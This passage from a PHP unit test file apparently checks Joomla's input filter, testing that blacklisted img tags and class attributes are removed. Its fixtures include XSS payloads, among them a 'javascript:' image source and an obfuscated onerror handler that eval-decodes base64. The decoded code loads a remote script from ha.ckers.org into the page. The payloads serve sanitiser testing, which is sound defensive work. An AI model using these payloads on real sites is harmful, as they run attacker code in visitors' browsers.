  1154. * @param string $message The failure message identifying the source of the test case.
  1155. *
  1156. * @return void
  1157. *
  1158. * @dataProvider blacklist
  1159. */
  1160. function testCleanWithDefaultBlackList($type, $data, $expect, $message )
  1161. {
  1162. $filter = JFilterInput::getInstance(null, null, 1, 1);
  1163. $this->assertThat(
  1164. $filter->clean($data, $type),
  1165. $this->equalTo($expect),
  1166. $message
  1167. );
  1168. }
  1169. /**
  1170. * Produces the array of test cases for the Blacklist img tag test run.
  1171. *
  1172. * @return array Two dimensional array of test cases. Each row consists of three values
  1173. * The first is the type of input data, the second is the actual input data,
  1174. * the third is the expected result of filtering, and the fourth is
  1175. * the failure message identifying the source of the data.
  1176. *
  1177. * @return array
  1178. */
  1179. function blacklistImg()
  1180. {
  1181. $casesSpecific = array(
  1182. 'Kill script' => array(
  1183. '',
  1184. '<img src="javascript:alert();" />',
  1185. '',
  1186. 'From specific cases'
  1187. ),
  1188. 'Unquoted Attribute Without Space' => array(
  1189. '',
  1190. '<img height=300>',
  1191. '',
  1192. 'From specific cases'
  1193. ),
  1194. 'Unquoted Attribute' => array(
  1195. '',
  1196. '<img height=300 />',
  1197. '',
  1198. 'From specific cases'
  1199. ),
  1200. 'Single quoted Attribute' => array(
  1201. '',
  1202. '<img height=\'300\' />',
  1203. '',
  1204. 'From specific cases'
  1205. ),
  1206. 'Attribute is zero' => array(
  1207. '',
  1208. '<img height=0 />',
  1209. '',
  1210. 'From specific cases'
  1211. ),
  1212. 'Attribute value missing' => array(
  1213. '',
  1214. '<img height= />',
  1215. '',
  1216. 'From specific cases'
  1217. ),
  1218. 'Attribute without =' => array(
  1219. '',
  1220. '<img height="300" ismap />',
  1221. '',
  1222. 'From specific cases'
  1223. ),
  1224. 'tracker9725' => array(
  1225. // Test for recursion with single tags
  1226. 'string',
  1227. '<img class="one two" />',
  1228. '',
  1229. 'From specific cases'
  1230. ),
  1231. 'security_20110328' => array(
  1232. 'string',
  1233. "<img src='<img
  1234. src='/onerror=eval(atob(/KGZ1bmN0aW9uKCl7dHJ5e3ZhciBkPWRvY3VtZW50LGI9ZC5ib2R5LHM9ZC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNldEF0dHJpYnV0ZSgnc3JjJywnaHR0cDovL2hhLmNrZXJzLm9yZy94c3MuanMnKTtiLmFwcGVuZENoaWxkKHMpO31jYXRjaChlKXt9fSkoKTs=/.source))//'/> ",
  1235. ' ',
  1236. 'From specific cases'
  1237. ),
  1238. );
  1239. $tests = array_merge($this->casesGeneric(), $casesSpecific);
  1240. return $tests;
  1241. }
  1242. /**
  1243. * Execute a test case with clean() using custom img blacklist filter settings (strips bad tags).
  1244. *
  1245. * @param string $type The type of input
  1246. * @param string $data The input
  1247. * @param string $expect The expected result for this test.
  1248. * @param string $message The failure message identifying the source of the test case.
  1249. *
  1250. * @return void
  1251. *
  1252. * @dataProvider blacklistImg
  1253. */
  1254. function testCleanWithImgBlackList($type, $data, $expect, $message )
  1255. {
  1256. $filter = JFilterInput::getInstance(array( 'img' ), null, 1, 1);
  1257. $this->assertThat(
  1258. $filter->clean($data, $type),
  1259. $this->equalTo($expect),
  1260. $message
  1261. );
  1262. }
  1263. /**
  1264. * Produces the array of test cases for the Blacklist class attribute test run.
  1265. *
  1266. * @return array Two dimensional array of test cases. Each row consists of three values
  1267. * The first is the type of input data, the second is the actual input data,
  1268. * the third is the expected result of filtering, and the fourth is
  1269. * the failure message identifying the source of the data.
  1270. *
  1271. * @return array
  1272. */
  1273. function blacklistClass()
  1274. {
  1275. $casesSpecific = array(
  1276. 'tracker9725' => array(
  1277. // Test for recursion with single tags
  1278. 'string',
  1279. '<img class="one two" />',
  1280. '<img />',
  1281. 'From specific cases'
  1282. )
  1283. );
  1284. $tests = array_merge($this->casesGeneric(), $casesSpecific);
  1285. return $tests;
  1286. }
  1287. /**
  1288. * Execute a test case with clean() using custom class blacklist filter settings (strips bad tags).
  1289. *
  1290. * @param string $type The type of input
  1291. * @param string $data The input
  1292. * @param string $expect The expected result for this test.
  1293. * @param string $message The failure message identifying the source of the test case.
  1294. *
  1295. * @return void
  1296. *
  1297. * @dataProvider blacklistClass
  1298. */
  1299. function testCleanWithClassBlackList($type, $data, $expect, $message )
  1300. {
  1301. $filter = JFilterInput::getInstance(null, array( 'class' ), 1, 1);
  1302. $this->assertThat(
  1303. $filter->clean($data, $type),
  1304. $this->equalTo($expect),
  1305. $message
  1306. );
  1307. }
  1308. }